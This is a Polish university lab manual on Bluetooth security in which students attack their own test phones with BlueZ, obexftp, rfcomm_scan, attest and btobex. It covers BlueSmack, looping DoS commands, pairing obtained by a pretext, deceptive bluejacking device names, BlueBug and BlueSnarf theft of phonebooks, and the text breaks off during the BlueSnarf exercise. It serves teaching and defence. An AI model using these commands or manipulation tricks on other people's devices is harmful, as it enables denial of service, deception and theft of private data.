Politechnika Gdańska

WYDZIAŁ ELEKTRONIKI TELEKOMUNIKACJI I INFORMATYKI

„Badanie bezpieczeństwa sieci Bluetooth”

Instrukcja laboratoryjna

Krzysztof Kucharski

1 Wstęp

Niniejszy dokument stanowi instrukcje laboratoryjną przeznaczoną dla studentów i zawierającą opis wymagań, opis struktury laboratorium i poszczególne ćwiczenia przeznaczone do wykonania w czasie trwania laboratorium. Instrukcja opisuje część praktyczną laboratorium i jest nieodłącznie związana z częścią teoretyczną dotyczącą standardu Bluetooth i opisu poszczególnych luk i sposobów ataków możliwych w tej sieci.

1.1 Cel laboratorium

Celem laboratorium jest nauczenie metod radzenia sobie z atakami w sieci Bluetooth poprzez praktyczne przeprowadzenie tych ataków na badanych urządzeniach. Taki sposób nauki poprzez samodzielne zetknięcie się z zagrożeniem jest zdaniem autora najlepszym sposobem na uzmysłowienie sobie potencjalnego niebezpieczeństwa i daje odpowiednią motywację do nauki i przestrzegania zasad bezpieczeństwa. Zadaniem studenta jest również samodzielne zaproponowanie sposobów obrony przed opisanymi atakami na podstawie informacji zdobytych z części teoretycznej i doświadczenia zdobytego podczas przeprowadzania opisanych ćwiczeń.

Wybierając zbiór ataków opisanych w tym dokumencie spośród wielu innych autor kierował się następującymi kryteriami:

- aktualność ataku,
- łatwość przeprowadzenia ataku,
- szybkość przeprowadzenia ataku,
- spektakularność ataku,
- rodzaje urządzeń, których dotyczy atak.

Należy więc pamiętać, że zaproponowane sposoby ataków są tylko wybraną częścią wszystkich możliwych nadużyć w sieciach Bluetooth. Należy również mieć na uwadze, że ciągle odkrywane są nowe luki bezpieczeństwa. Dlatego wiedzę zdobytą podczas odbywanie laboratorium należy traktować jako wstęp do opisywanych zagadnień.

1.2 Wymagania stawiane studentom

Od studenta uczestniczącego w laboratorium wymaga się:

- dokładnej znajomości instrukcji laboratoryjnej zarówno części teoretycznej jak i praktycznej;
- podstawowej znajomości zagadnień sieciowych;
- znajomości systemu operacyjnego LINUX na poziomie wystarczającym do operowania swobodnie w środowisku tekstowym z prawami użytkownika root;
- mile widziane jest przyniesienia ze sobą telefonu komórkowego wspierającego w pełni standard Bluetooth. Bardzo mile widziane jest również dodatkowe urządzenie wspierające standard Bluetooth umożliwiające bardziej wszechstronne zapoznanie się z opisywanymi zagadnieniami. Urządzenie z okrojonym stosem protokołów Bluetooth takie jak np. telefony firmy Apple iPhony nie nadają się do przeprowadzenia ćwiczenia;
- umiejętności obsługi funkcji Bluetooth jakie oferuje przyniesione urządzenie.

2 Struktura laboratorium

Ćwiczenia laboratoryjne będą wykonywane pod kontrolą systemu operacyjnego LINUX, ponieważ jest to natywne środowisko hakerów i na ten system operacyjny napisane są prawie wszystkie liczące się narzędzia związane z bezpieczeństwem standardu Bluetooth. Studenci pracują w trybie graficznym wykorzystując aplikacje terminala graficznego z prawami użytkownika root. Po zalogowaniu w tryb graficzny należy się upewnić, że uruchomiony jest odpowiedni aplet odpowiedzialny za obsługę Bluetooth. Przykładowo takim apletem dla systemu Gnome jest program „bluetooth-applet". Program ten między innymi odpowiedzialny jest za proces parowania i umożliwia wprowadzenie po stronie komputera kodu PIN.

Każdy komputer posiada podłączony do niego adapter Bluetooth i zainstalowane odpowiednie oprogramowanie.

W skład wymaganego oprogramowania wchodzą następujące pakiety systemu LINUX:

- BlueZ (bluez-utils, bluez-hcidump, bluez-gnome, libbluetooth-dev,),
- ObexFtp (obexftp, libopenobex-dev,),
- Perl,

i następujące pakiety narzędzi służące do audytu bezpieczeństwa dla standardu Bluetooth:

- Bluediving (http://bluediving.sourceforge.net/),
- BT Audit (http://trifinite.org/trifinite_stuff_btaudit.html).

Można dodatkowo założyć, że wszystkie wymienione w instrukcji polecenia są dostępne z dowolnego miejsca w systemie.

Instalacja wymienionych pakietów pod systemem Fedora:

```
yum install bluez-utils bluez-gnome
yum install bluez-libs-devel bluez-hcidump
yum install obexftp.i386 obexftp-devel.i386 openobex-devel.i386
```

3 Ćwiczenia

3.1 Zapoznanie się z linuksowym stosem bluetooth – BlueZ

Cel ćwiczenia

Celem niniejszego ćwiczenia jest sprawdzenie poprawności działania adaptera Bluetooth podłączonego do urządzenia i zapoznanie się z narzędziem „hciconfig”

Zadania do wykonania

1) Zalogować się do systemu LINUX w trybie graficznym.

2) Uruchomić w okienku terminal tekstowy i wykorzystując polecenie „su” uzyskać prawa użytkownika root.

2) Wykonać polecenie 'hciconfig' i sprawdzić czy zwraca ono informacje o interfejsie Bluetooth. Przykładowe poprawne wyniki to:

```
localhost:/ # hciconfig
hci0:   Type: USB
        BD Address: 00:16:41:F4:7A:3F ACL MTU: 1017:8 SCO MTU: 64:1
        UP RUNNING PSCAN ISCAN
        RX bytes:0 acl:0 sco:0 events:33 errors:0
        TX bytes:372 acl:0 sco:0 commands:33 errors:0


localhost:/ #
```

3) Wykonać polecenie 'hciconfig -a ' i przeanalizować wyniki polecenia.

Sprawdzić szczególnie:

- adres interfejsu Bluetooth,
- przypisaną do urządzenia nazwę,
- wspieraną wersje standardu Bluetooth,
- producenta chipsetu Bluetooth.

4) Nadać nową nazwę urządzeniu wydając polecenie 'hciconfig hci0 name _nowaNazwa_'.

5) Zapoznać się z poleceniem

'hciconfig hci0 reset'

Co robi to polecenie?

3.2 Badanie stanu zabezpieczeń urządzeń testowych w normalnych warunkach

Cel ćwiczenia

Celem niniejszego ćwiczenia jest uzmysłowienie niebezpieczeństwa płynącego z pozostawiania urządzeń z aktywnym stosem protokołów Bluetooth szczególnie w trybie wykrywalnym dla innych urządzeń. Ćwiczenie ma pokazać studentom, że potencjalne włamanie dotyczy przede wszystkim ich własnych urządzeń. Umożliwia ono również zapoznanie z narzędziem „hcitool" będącym częścią pakietu BlueZ i pozwalającym na zdobywanie informacji o urządzeniach w pobliżu.

Ważne jest, aby przed wykonaniem tego zadania nie przestawiać nic w urządzeniu na którym wykonywane będę testy.

Opis ćwiczenia

Zadanie polega na zdalnym wykryciu urządzeń należących do osób biorących udział w laboratorium, wspierających standard Bluetooth i pozostawianych przez swoich właścicieli w trybie umożliwiającym ich wykrycie. Założeniem jest sprawdzenie tuż po wejściu do laboratorium podatności testowanych w laboratorium urządzeń na ataki z zewnątrz.

W wykonaniu tego ćwiczenie grupa uczestniczy jako całość. Dlatego ważne jest aby upewnić się, że wszyscy skończyli, przed przejściem do następnego ćwiczenia.

Zadania do wykonania

1) Wykonać polecenie 'hciconfig hci0 reset' Po co?

2) Wykorzystując polecenie `'hcitool scan'` należy znaleźć urządzenia Bluetooth będące w pobliżu i pozwalające się wykryć.
Przykładowe wyniki wspomnianego polecenia mogą wyglądać następująco:

```
localhost:/ # hcitool scan
Scanning ...
        00:15:DE:27:7F:CA       Nokia6230i
        00:0A:D9:F9:8E:24       SonyEricssonT610
        00:17:83:33:8F:B6       HTC3600
localhost:/ #
```

Na powyższym listingu widać adres fizyczny urządzenia i nazwę przypisaną urządzeniu przez użytkownika. W powyższym przykładzie nazwy są jednocześnie modelami badanych telefonów.

3) Zidentyfikować po kolei właścicieli wykrytych urządzeń i sprawdzić, czy na liście wykrytych urządzeń znajduje się urządzenie należące do osoby wykonującej ćwiczenie. Można to poznać po nazwie urządzenia.

4) Zapamiętać adres własnego badanego urządzenia. Jeśli nie było go na liście to należy przełączyć urządzenie w tryb widoczności i znaleźć je na liście wygenerowanej przez polecenie 'hcitool scan'.

5) Dodatkowe informacje o zdalnym urządzeniu można uzyskać wykorzystując polecenie `'hcitool info _bdaddr_'` gdzie _bdaddr_ jest adresem badanego urządzenia.

Wnioski

O ile to możliwe zawsze należy wyłączać moduł Bluetooth, kiedy nie jest używany. Jeśli natomiast Bluetooth musi z jakiegoś powodu pozostać włączony należy zawsze pozostawiać go w trybie ukrytym. Pozostawanie w trybie ukrytym jest najprostszym sposobem zabezpieczenia się przed większością nadużyć. Jednak jak pokażą kolejne ćwiczenia nie zawsze skutecznym.

3.3 Badanie urządzeń widocznych i ukrytych z użyciem narzędzia L2PING

Cel ćwiczenia

Ćwiczenie ma na celu uzmysłowienie, że nawet urządzenia pozostające w trybie ukrytym są całkowicie widoczne dla osoby znającej ich adres. Ćwiczenie umożliwia również zapoznanie się z narzędziem „l2ping" będącym częścią pakietu BlueZ.

Zadania do wykonania

1) Ustawić badane urządzenie w tryb widoczności.

2) Znaleźć adres Bluetooth badanego urządzenia wykorzystując polecenie `'hcitool scan'`

3) Wykonać polecenie `'l2ping _bdaddr_'` sprawdzić sposób reakcji urządzenia na pakiety PING.

Polecenie można przerwać kombinacją klawiszy CONTROL + C

4) Ustawić badane urządzenie w tryb ukryty. Sprawdzić to poleceniem `'hcitool scan'.`

5) Wykonując polecenie `'l2ping _bdaddr_'` sprawdzić sposób reakcji urządzenia na pakiety PING.

6) Czy pozostawanie w trybie ukrytym pozwala połączyć się z urządzeniem jeśli znamy jego adres?

7) Ocenić stopień podatności na ataki urządzeń ukrytych i urządzeń widocznych.

3.4 BlueSmack

Cel ćwiczenia

Niniejsze ćwiczenie ma na celu sprawdzenie podatności testowanego urządzenia na atak BlueSmack oraz zademonstrować sposób przeprowadzenia tego ataku.

Opis ćwiczenia

Niektóre urządzenia zawieszają się kiedy zostanie do nich wysłany zbyt duży pakiet PING. Atak taki nazwany jest BlueSmack. Zadaniem osoby wykonującej ćwiczenie jest sprawdzenie podatności swojego urządzenia na opisywany atak.

Zadania do wykonania

1) Wykonać polecenie `'l2ping -s 600 _bdaddr_'.`

2) Zbadać zachowanie testowanego urządzenia. Jest ono podatne na atak jeśli widać, że zawiesiło

się lub kiedy polecenie `'l2ping _bdaddr_'` nie daje odpowiedzi (zawieszony stos Bluetooth, a nie całe urządzenie).

3) Jeśli urządzenie jest podatne na tego typu ataki jak można im zapobiegać?

4) Wiele urządzeń jest nie podatnych na atak BlueSmack nie potrafi sobie poradzić obsługą pakietów PING z dwóch niezależnych źródeł.

5) W parach wykonać polecenie `'l2ping _bdaddr_'` na dwóch komputerach, aby równocześnie zaatakować pojedynczy telefon komórkowy.

3.5 Symulacja przesłania do urządzenia dowolnego pliku

Cel ćwiczenia

Celem ćwiczenie jest zademonstrowanie w jaki sposób przenoszą się pliki mogące zawierać wirusy w sieciach Bluetooth i jak się przeciw nim bronić. Ćwiczenie umożliwia również zapoznanie się z narzędziem „obexftp".

Opis ćwiczenia

Wirusy komputerowe wykorzystujące sieci Bluetooth wyszukują widoczne urządzenia w pobliżu i przesyłają do nich swój własny kod w postaci plików wykonalnych. Jeśli użytkownik przyjmie taki plik, zostanie spytany czy nie zainstalować go w systemie. Zainstalowanie się wirusa wiąże się więc z dwukrotnym potwierdzeniem przez użytkownika. Czasami zdarza się, że urządzenie pyta również czy kontynuować instalacje nie podpisanego cyfrowo pliku, więc potrzebne jest kolejne potwierdzenie.

Zadanie polega na przesłaniu do badanego urządzenia pliku i zaobserwowanie w jaki sposób badane urządzenie reaguje.

Na ten typ ataków podatne są telefony komórkowe i inne urządzenia z zaawansowanym systemem operacyjnym takim jak Windows Mobile i szczególnie Symbian. Są to systemy, które umożliwiają instalację dodatkowych programów ponad te już dostępne w systemie. Funkcjonalność tą wykorzystują właśnie wirusy. Odporne natomiast na tę lukę są telefony komórkowe z prostymi systemami operacyjnymi nie umożliwiającymi instalacji dodatkowych programów.

Zadania do wykonania

1) Należy przesłać do badanego urządzenia dowolny plik wykorzystując polecenie „obexftp". Składnia tego polecenia umożliwiająca przesłanie pliku do urządzenie Bluetooth wygląda następująco: `'obexftp -b _bdaddr_ -p _dowolny_plik_'.`

Pozwolić na sparowanie się urządzeń.

Zapoznać się z linuksowym mechanizmem parowania urządzeń.

2) Polecenie umożliwiające przeglądanie plików na zdalnym urządzeniu wygląda następująco: `'obexftp -b _bdaddr_ -l'`

3) Zaobserwować w jaki sposób badane urządzenie zareaguje na przesłanie pliku. Jaki komunikat pojawia się na ekranie i na ile jest to pomocna informacja w zidentyfikowaniu potencjalnego ataku.

4) Przesłać do urządzenie plik wykonalny Javy i sprawdzić w jaki sposób urządzenie reaguje na tego typu pliki. Przykładowym plikiem tego typu może być program Blooover (http://trifinite.org/Downloads/Blooover.jar), będący bardzo dobrym narzędziem do przeprowadzanie ataków przeciw urządzeniom Bluetooth działającym na urządzeniach mobilnych.

5) Jeśli badane urządzenie działa pod kontrolą systemu Symbian należy przesłać jakikolwiek plik ze zmienionym rozszerzeniem na „.sis” i sprawdzić reakcje urządzenia.

6) W parach. Sprawdzić jak zachowuje się urządzenie, jeśli przesyłane są do niego pliki z dwóch innych urządzeń jednocześnie.

7) Zaproponować sposoby obrony przed opisanym atakiem.

3.6 Atak typu DoS poprzez zalewanie urządzenia żądaniami dostępu do danych.

Cel ćwiczenia

Celem ćwiczenie jest zademonstrowanie, w jaki sposób wykorzystując standardowe narzędzia można zablokować większość urządzeń wspierających Bluetooth.

Opis ćwiczenia

Zadanie polega na zalaniu urządzenia Bluetooth prośbami o dostęp do danych i zaobserwowanie w jaki sposób badane urządzenie reaguje oraz na ile jest odporne na tego typu ataki.

Doświadczenia przeprowadzone przez autora pokazują, że większość prostych telefonów komórkowych (np. firmy Nokia czy Sony Ericsson) nie ma możliwości żadnej obrony przed powodzią próśb o połączenie, przesłanie pliku lub tym podobne. Odporne natomiast są telefony z bardziej zaawansowanymi systemami operacyjnymi takimi jak Windows Mobile, w których można zignorować prośbę o połączenie wykonując w tym czasie inne czynności.

Zadania do wykonania

1) Wydając polecenie: `'until false ; do obexftp -b _bdaddr_ -l ; done'` należy sprawdź jak reaguje urządzenie na ciągłe żądanie dostępu do plików.

2) Czy testowane urządzenie umożliwia powstrzymanie potoku żądań dostępu do danych?

Wspomniane polecenie można zatrzymać kombinacją klawiszy „CRTL + C”.

3) Wykonać polecenie: `'until false ; do btobex getpb _bdaddr_; done'` Sprawdzić efekt działania tego polecenia i porównać z poprzednim.

Doświadczenia autora pokazują, że niektóre telefony firmy Nokia potrafią obronić się przed atakiem spowodowanym poleceniem : `'until false ; do obexftp -b _bdaddr_ -l ; done'` poprzez samoczynne odrzucanie prośby o uwierzytelnienie, jeśli użytkownik odrzucił taką prośbę dwukrotnie. Okazuje się jednak, że i to zabezpieczenie można obejść. Wystarczy zastosować polecenie: `'until false ; do btobex getpb _bdaddr_; done'`, które jest zapętloną prośbą o przyjęcie pliku a nie o uwierzytelnienie, aby uzyskać ten sam efekt.

Polecenie „btobex” zostanie dokładnie omówione w ćwiczeniu dot. ataku BlueSnarf.

4) W parach. Sprawdzić jak zachowuje się urządzenie, jeśli jest atakowane z dwóch źródeł jednocześnie.

5) Jak można się bronić przed tego typu atakami DoS?

Zwrócić uwagę na to, które urządzenia w grupie są podatne na ten atak.

3.7 Nadużycie poprzez wymuszenie uwierzytelnienia

Cel ćwiczenia

Celem niniejszego ćwiczenia jest zademonstrowanie, jak niebezpieczne może być pozostawienie raz stworzonego parowania.

Opis ćwiczenia

Standard Bluetooth nie przewiduje kontroli dostępu na poziomie usług, a jedynie na poziomie listy zaufanych urządzeń. Urządzenia te raz sparowane mają pełny dostęp do wszystkich oferowanych usług. Dlatego tak ważne jest, aby bardzo dokładnie kontrolować proces parowania urządzenia i jeśli to tylko możliwe odwoływać parowanie tuż po wykonaniu deklarowanych przez innych zdalnych operacji.

Ćwiczenie polega na wymyśleniu takiego pretekstu, aby namówić drugą osobę do sparowania urządzenia i wykorzystać zdobyte raz zaufanie, aby dostać się do innych usług. Na przykład dobrym pretekstem, aby atakowany użytkownik dal się nabrać na parowanie jest prośba o przysłanie jego dzwonka sygnalizującego przychodzące połaczenia, który „bardzo nam się spodobał".

Doświadczenia autora mówią, że bardzo łatwo jest znaleźć powód na tyle przekonujący, aby namówić ofiarę do sparowania urządzeń. Również jak się okazuje bardzo łatwo jest tak zająć świadomość drugiej osoby, aby zapomniała odwołać parowania tuż po wykonaniu deklarowanych przez napastnika operacji.

Zadania do wykonania

1) Sprawdzić, jak wiele nie odwołanych uwierzytelnień znajduje się w badanym urządzeniu.

2) Należy włączyć w swoim urządzeniu tryb wymuszonego uwierzytelnienia. Na potrzeby ćwiczenia można to zrobić zarówno na badanym urządzeniu jak i na komputerze z którego przeprowadzany jest atak. W przypadku komputera, poleceniem służącym do tego celu jest: `'hciconfig hci0 auth'`. Natomiast odwrotny efekt można uzyskać poleceniem: `'hciconfig hci0 noauth'`.

3) Zaproponować drugiej osobie przesłanie do niej jakiegoś interesującego pliku.

4) Przesłać plik i upewnić się, że nastąpiło parowanie.

5) Od tego momentu można przeglądać inne usługi już bez konieczności uwierzytelnienia np. `'obexftp -b _bdaddr_ -l'`.

6) Ocenić zagrożenie jakie niesie atak i zaproponować metody obrony.

7) Po zakończeniu ćwiczenia koniecznie wykonać polecenie 'hciconfig hci0 noauth'. Dlaczego?

3.8 Bluejacking

Cel ćwiczenia

Poznanie sposobów manipulowania nazwą własnego urządzenia w taki sposób, aby właściciel urządzenia Bluetooth zgodził się na uwierzytelnienie.

Opis ćwiczenia

Podczas procesu parowania na zdalnym urządzeniu wyświetlana jest prośba o uwierzytelnienie wraz z nazwą urządzenia inicjującego parowanie. Zadaniem osoby wykonującej ćwiczenie jest nadanie komputerowi, który inicjuje połączenie takiej nazwy, aby wprowadzić w

błąd przeciętnego użytkownika i aby nieświadomie zgodził się on na uwierzytelnienie.

Opisywany atak można połączyć z atakiem zalewania użytkownika prośbami o przyjęcie pliku. Jeśli komputer napastnika ma nadaną nazwę, która sugeruje jaki kod PIN ofiara powinna wprowadzić, ma włączone wymuszanie parowania i jednocześnie zalewa ofiarę prośbami o przyjęcie pliku to ofiara zgodzi się w końcu na jego przyjęcie, wprowadzi zasugerowany kod i pozwoli sparować urządzenia.

Pomyślne wykonanie tego ćwiczenia sprowadza się do wymyślenia takiego tekstu manipulacyjnego, aby z dużym prawdopodobieństwem udało się zmylić przeciętnego użytkownika.

Zadania do wykonania

1) Jeśli komputer i badane urządzenie były sparowane należy odwołać parowanie!!!

2) Nadać komputerowi odpowiednią nazwę wykorzystując polecenie:

```
hciconfig hci0 name "Wybierz 1234, aby odblokować telefon!!!"
```

3) Wymusić parowanie poleceniem: `'obexftp -b _bdaddr_ -l'`

4) **Sprawdzić co wyświetla się na wyświetlaczu badanego telefonu.**

5) Wymyślić i nadać taką nazwę komputera, aby wyświetlając się na ekranie badanego telefonu była jak najbardziej nakłaniająca do podążania za instrukcją. Dla przykłady dla telefonów firmy Sony Ericsson może to być:

```
hciconfig hci0 name "Wybierz TAK i 1234"
```

6) Porównać swoje pomysły z pozostałymi uczestnikami ćwiczenia.

7) Połączyć opisywany atak z atakiem DoS poprzez nie tylko nadanie odpowiedniej nazwy urządzeniu sugerującej jaki kod PIN należy wprowadzić, ale powtarzać tą operacje aż do osiągnięcia sukcesu. W tym wypadku urządzenie będzie wyglądało na zablokowane, więc polecenie:

```
hciconfig hci0 name "Wybierz 1234, aby odblokować telefon!!!"
```

może odnieść wyjątkowo pomyślne skutki połączone z następującym po nim poleceniem:

```
'until obexftp -b _bdaddr_ -l ; do echo "Użytkownik odmówił
połączenia" ; done'
```

8) Ocenić stopień podatności użytkowników na ataki i zaproponować sposób obrony.

3.9 Skanowanie

Cel ćwiczenia

Celem niniejszego ćwiczenia jest zademonstrowanie możliwości skanowania portów w sieci Bluetooth i demonstracja sposobu wykorzystania zdobytej w ten sposób wiedzy.

Opis ćwiczenia

Zadanie polega na przeskanowaniu badanego urządzenie i zorientowaniu się czy udostępnia ono jakieś ukryte kanały, które są dostępne bez uwierzytelnienia. Do wykonania tego zadanie posłuży program „rfcomm_scan” z pakietu BT_Audit.

Zadania do wykonania

1) Upewnić się, że urządzenia nie są sparowane.

2) Przeskanować badane urządzenie poleceniem ' rfcomm_scan -s 1 -e 30 _bdaddr_ ' i jeśli na badanym urządzeniu będą pojawiały się pytania o pozwolenie na połączenie należy je odrzucić. Umożliwia to sprawdzenie, które kanały są otwarte dla nie uwierzytelnionych połączeń.

Przykładowe wywołanie tego polecenie może dać następujące wyniki:

```
localhost:/ # ./rfcomm_scan -s 1 -e 30 00:60:57:6E:24:4A
rfcomm: 01 closed
rfcomm: 02 closed
rfcomm: 03 closed
rfcomm: 04 closed
rfcomm: 05 closed
rfcomm: 06 closed
rfcomm: 07 closed
rfcomm: 08 closed
rfcomm: 09 open
rfcomm: 10 closed
rfcomm: 11 closed
rfcomm: 12 closed
rfcomm: 13 closed
rfcomm: 14 closed
rfcomm: 15 closed
rfcomm: 16 closed
rfcomm: 17 open
rfcomm: 18 open
rfcomm: 19 closed
rfcomm: 20 closed
rfcomm: 21 closed
rfcomm: 22 closed
rfcomm: 23 closed
rfcomm: 24 closed
rfcomm: 25 closed
rfcomm: 26 closed
rfcomm: 27 closed
rfcomm: 28 closed
rfcomm: 29 closed
rfcomm: 30 closed
localhost:/ #
```

3) Wykonać to samo polecenie, tym razem zgadzając się na wszystkie prośby o połączenie.

4) Porównać otrzymane wyniki. Co oznaczają różne wyniki w obu sytuacjach?

5) Wywołując polecenie 'sdptool browse _bdaddr_' należy wyświetlić rekordy SDP dla badanego

urządzenia, sprawdzić jakie usługi są przypisane poszczególnym kanałom i sprawdzić które z otwartych kanałów nie są ujęte w tych rekordach.

Czasami zdarza się, że polecenie 'sdptool browse _bdaddr_' nie daje żadnych wyników pomimo, że urządzenie wspiera pewne profile Bluetooth. W taki sposób reagują urządzenia np. z systemem Windows Mobile. Dzieje się tak dlatego, że niektóre firmy implementują serwer SDP w taki sposób, aby nie dawał odpowiedzi na zapytanie ogólne o dostępne usługi. W takim przypadku można skorzystać z polecenia 'sdptool records _bdaddr_', które odpytuje urządzenie po kolei na obecność wszystkich znanych usług. Polecenie to jest więc o wiele pewniejsze ponieważ pokazuje wszystkie istniejące i ukryte przez producenta usługi.

6) Wywołać polecenie 'sdptool records _bdaddr_' i sprawdzić czy lista dostępnych usług różni się od listy wygenerowanej dla polecenia 'sdptool browse _bdaddr_'.

Szczególnie interesujące są te kanały, które są ukryte (nie ujęte w rekordach SDP) i można się z nimi połączyć bez uwierzytelnienia. W listingu powyżej wygenerowanego dla telefonu Nokia 6310i są to kanały 17 i 18. Jak się okazało na kanale 17 tego telefonu odkryty został właśnie atak BlueBug opisany w kolejnym podpunkcie.

7) Podczas przygotowywania niniejszego dokumentu autor odkrył również, że polecenie 'rfcomm_scan -s 1 -e 30 _bdaddr_' potrafi na niektórych telefonach skutecznie uniemożliwić łączność z urządzeniem i przerwać trwającą już transmisję. Jest to więc atak typu DoS, który całkowicie unieruchamia urządzenie. Aby przetestować podatność badanego urządzenia na ten atak można przesyłać plik pomiędzy urządzeniem i komputerem i podczas trwania tej operacji uruchomić wspomniane polecenie skanowania kanałów. Następnie postępować odwrotnie, czyli uruchomić najpierw w tle skanowanie kanałów i następnie wykonać jakąś operacje na zdalnym urządzeniu.

3.10 Przeprowadzenie ataku BlueBug

Cel ćwiczenia

Celem niniejszego ćwiczenia jest zademonstrowanie sposobu praktycznego przeprowadzenia jednego z najbardziej niebezpiecznych ataków jakie odkryto dla sieci Bluetooth: ataku BlueBug i narzędzi umożliwiających jego przeprowadzenie.

Opis ćwiczenia

Do sprawdzenia podatności urządzenia na opisany atak zostanie użyte narzędzie „attest”, które łączy się na podanym kanale z urządzeniem i wykonuje kilka przykładowych poleceń AT takich jak pobranie danych o urządzeniu i książki adresowej. Polecenie to zostanie wykonane dla wszystkich kanałów z którymi połączenie nie wymaga parowania i które są otwarte. Jeśli na którymś z tych kanałów polecenie zakończy się sukcesem to znaczy, że badane urządzenie jest podatne na atak.

Następnie zostaną wybrane wszystkie kanały, które potencjalnie mogą być sterowane poleceniami AT i które wymagają uwierzytelnienia. Zostaną one przetestowane, aby zademonstrować jakie rezultaty daje polecenie „attest” w przypadku nie podatności urządzenia na atak.

Zadania do wykonania

Początkowe kroki są identyczne jak w podpunkcie skanowanie.

1) Upewnić się, że urządzenia nie są sparowane i wykonać polecenie 'hciconfig hci0 noauth'

2) Przeskanować badane urządzenie poleceniem ' rfcomm_scan -s 1 -e 30 _bdaddr_' i jeśli w

badanym urządzeniu będą pojawiały się pytania o pozwolenie na połączenie należy je odrzucić. Umożliwia to sprawdzenie, które kanały są otwarte dla nie uwierzytelnionych połączeń.

3) Dla każdego z tych otwartych kanałów wywołać polecenie: 'attest _bdaddr_ _numerKanału_', sprawdzając dzięki temu czy wspierają one polecenia AT.

4) Przeanalizować informacje zwracane przez udane wywołanie tego polecenia.

5) Jeśli udało się znaleźć taki kanał, z którym połączenie jest możliwe bez uwierzytelnienia i polecenie „attest" zwraca dane uzyskane z urządzenia, to jest ono podatne na atak.

6) Przeskanować urządzenie poleceniem ' rfcomm_scan -s 1 -e 30 _bdaddr_' i tym razem, jeśli na badanym urządzeniu będą pojawiały się pytania o pozwolenie na połączenie należy się zgodzić i sparować urządzenia.

7) Wywołać polecenie: 'attest _bdaddr_ _numerKanału_', dla każdego z jeszcze nie badanych otwartych kanałów.

8) Sprawdzić poleceniem 'sdptool records _bdaddr_' jakie usługi są przypisane do wszystkich kanałów, dla których narzędzie „attest" dało pomyślne wyniki. Jakiego typu są to usługi?

9) Wiedząc, że urządzenie jest podatne na atak, jakie kroki należałoby podjąć, aby zminimalizować ryzyko, a jakie aby zupełnie zabezpieczyć się przed atakiem?

3.11 Przeprowadzenie ataku BlueSnarf

Cel ćwiczenia

Ćwiczenie ma na celu zademonstrowanie sposobu przeprowadzenia jednego z pierwszych i najbardziej popularnych ataków jakie odkryto dla sieci Bluetooth. Umożliwia również poznanie luki, na której bazuje atak, jak również pokazuje jeden ze sposobów kradzieży prywatnych danych z cudzego urządzenia.

Opis ćwiczenia

Zadanie polega na praktycznym przeprowadzeniu ataku Bluesnarf z użyciem standardowego narzędzia jakim jest „obexftp" jak i narzędzia napisanego specjalnie do przeprowadzania tego typu ataku, którym jest program „btobex". Celem będzie pobranie z atakowanego urządzenia plików wykorzystując nie wymagający uwierzytelnienia profil OBEX PUSH, a nie profil OBEX FTP.

UWAGA! Opisywane ćwiczenie daje efekty tylko dla telefonów komórkowych zgodnych z profilem „IrMC Specification". W przypadku innych urządzeń opisywane polecenia zwracają komunikat o nieprawidłowej ścieżce i nazwie pliku.

Udane przeprowadzenie ataku umożliwi kradzież zarówno prywatnych danych z badanego urządzenia jak i plików o znanej lokalizacji.

Zadania do wykonania

1) Wykonać polecenie 'obexftp -b _bdaddr_ -g telecom/pb.vcf', które umożliwia pobranie z urządzenia książki adresowej i wymaga parowania. Należy zgodzić się na parowanie.

Jeśli badane urządzenie umożliwia wymianę danych w ten sposób to wyniki będą następujące:

```
localhost:/ # obexftp -b 00:15:DE:27:7F:CA -g telecom/pb.vcf
Browsing 00:15:DE:27:7F:CA ...
Channel: 10
```

```
Connecting...done
Receiving "telecom/pb.vcf"... Sending ""... done
-done
Disconnecting...done
localhost:/ #
```

Powyższy listing jest przykładem poprawnego ściągnięcia pliku z książką adresową na dysk komputera. W przypadku urządzenia nie wspierającego takiej możliwości zobaczmy następujące wyniki polecenia:

```
localhost:/ # obexftp -b 00:17:83:33:8F:B6 -g telecom/pb.vcf
Browsing 00:17:83:33:8F:B6 ...
Channel: 1
Connecting...done
Receiving "telecom/pb.vcf"... Sending ""... done
failed: telecom/pb.vcf
Disconnecting...done
localhost:/ #
```

W takim wypadku należy dołączyć się do innej osoby mającej odpowiednie badane urządzenie i wspólnie wykonywać ćwiczenie.

2) Wykonać to samo polecenie dla plików:

- 'telecom/cal.vcs' – kalendarz,
- 'telecom/rtc.txt' – zegar,
- 'telecom/devinfo.txt' – informacje o urządzeniu.

Opisywane w powyższych punktach czynności wymagają jednak uwierzytelnienia. Dzieje się tak dlatego, że program „obexftp” łączy się standardowo z profilem OBEX FTP na zdalnym urządzeniu i z jego pomocą umożliwia dostęp do plików. Dostęp do tego profilu wymaga uwierzytelnienia. Aby obejść tę konieczność można połączyć się z pomocą wymienionego powyżej narzędzia z profilem OBEX PUSH, który nie wymaga domyślnie uwierzytelnienia. Następnie korzystając z jego błędnej implementacji na niektórych urządzeniach pobrać odpowiednie pliki.

3) Wydając polecenie 'sdptool search --bdaddr _bdaddr_ OPUSH' znaleźć na badanym urządzeniu numer kanału RFCOMM na którym pracuje profil OBEX PUSH. Przykładowe wyniki tego polecenia są następujące:

```
localhost:/ # sdptool search --bdaddr 00:60:57:6E:24:4A  OPUSH
Searching for OPUSH on 00:60:57:6E:24:4A ...
Service Name: OBEX Object Push
Service RecHandle: 0x1000c
Service Class ID List:
  "OBEX Object Push" (0x1105)
Protocol Descriptor List:
  "L2CAP" (0x0100)
  "RFCOMM" (0x0003)
    Channel: 9
  "OBEX" (0x0008)
Language Base Attr List:
```

```
  code_ISO639: 0x656e
  encoding:    0x6a
  base_offset: 0x100
Profile Descriptor List:
  "OBEX Object Push" (0x1105)
    Version: 0x0100
localhost:/ #
```

4) Interesujący nas kanał w tym wypadku to 9. Po znalezieniu numeru kanału i upewnieniu się, że urządzenia nie są sparowane można wykonać polecenie: 'obexftp -b _bdaddr_ **--channel _numerkanału_** -g telecom/pb.vcf' i uzyskać odpowiedni plik bez uwierzytelnienia na podatnych na lukę urządzeniach.

Okazuje się jednak, że polecenie „obexftp" zostało tak przerobione jakiś czas po opublikowaniu informacji o ataku Bluesnarf, że ignoruje numer podanego kanału jeśli samo wcześniej znajdzie kanał dla profilu OBEX FTP. Dlatego w większości przypadków pomimo podatności urządzenia na atak polecenie „obexftp" nie pozwala na jego przeprowadzenie.

Aby więc móc przeprowadzić opisywany atak należy się posłużyć specjalnie zaprojektowanym do tego celu narzędziem jakim jest „btobex". Narzędzie to również samo znajduje odpowiedni profil, ale w tym wypadku jest to profil OBEX PUSH.

